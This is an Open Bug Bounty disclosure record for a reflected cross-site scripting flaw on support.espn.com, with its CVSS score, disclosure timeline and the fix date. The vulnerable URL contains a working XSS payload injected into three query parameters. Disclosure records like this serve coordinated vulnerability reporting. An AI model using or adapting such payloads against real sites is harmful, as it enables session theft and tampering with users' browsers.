support.espn.com XSS vulnerability

2017-12-16T01:52:00
ID OBB:454020
Type openbugbounty
Reporter xx
Modified 2018-03-31T09:36:00

Description

Open Bug Bounty ID: OBB-454020

Description| Value
---|---
Affected Website:| support.espn.com
Vulnerable Application:| Custom Code
Vulnerability Type:| XSS (Cross Site Scripting) / CWE-79
CVSSv3 Score:| 6.1 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N]
Remediation Guide:| OWASP XSS Prevention Cheat Sheet

Vulnerable URL:
https://support.espn.com/en_US/Fantasy-Football/Search?productCode=%22--%3E%3C/script%3E%3Cimg%20src=x%20onerror=prompt(/OPENBUGBOUNTY/)%3E&searchtext;=draft%20grades%22--%3E%3C/script%3E%3Cimg%20src=x%20onerror=prompt(/OPENBUGBOUNTY/)%3E&searchCat;=%22--%3E%3C/script%3E%3Cimg%20src=x%20onerror=prompt(/OPENBUGBOUNTY/)%3E
Coordinated Disclosure Timeline

Description| Value
---|---
Vulnerability Reported:| 16 December, 2017 01:52 GMT
Vulnerability Verified:| 16 December, 2017 01:54 GMT
Website Operator Notified:| 16 December, 2017 01:54 GMT
Vulnerability Published:| 16 December, 2017 01:54 GMT[without any technical details]
Vulnerability Fixed:| 31 March, 2018 09:36 GMT
Public Disclosure:| 31 March, 2018 09:36 GMT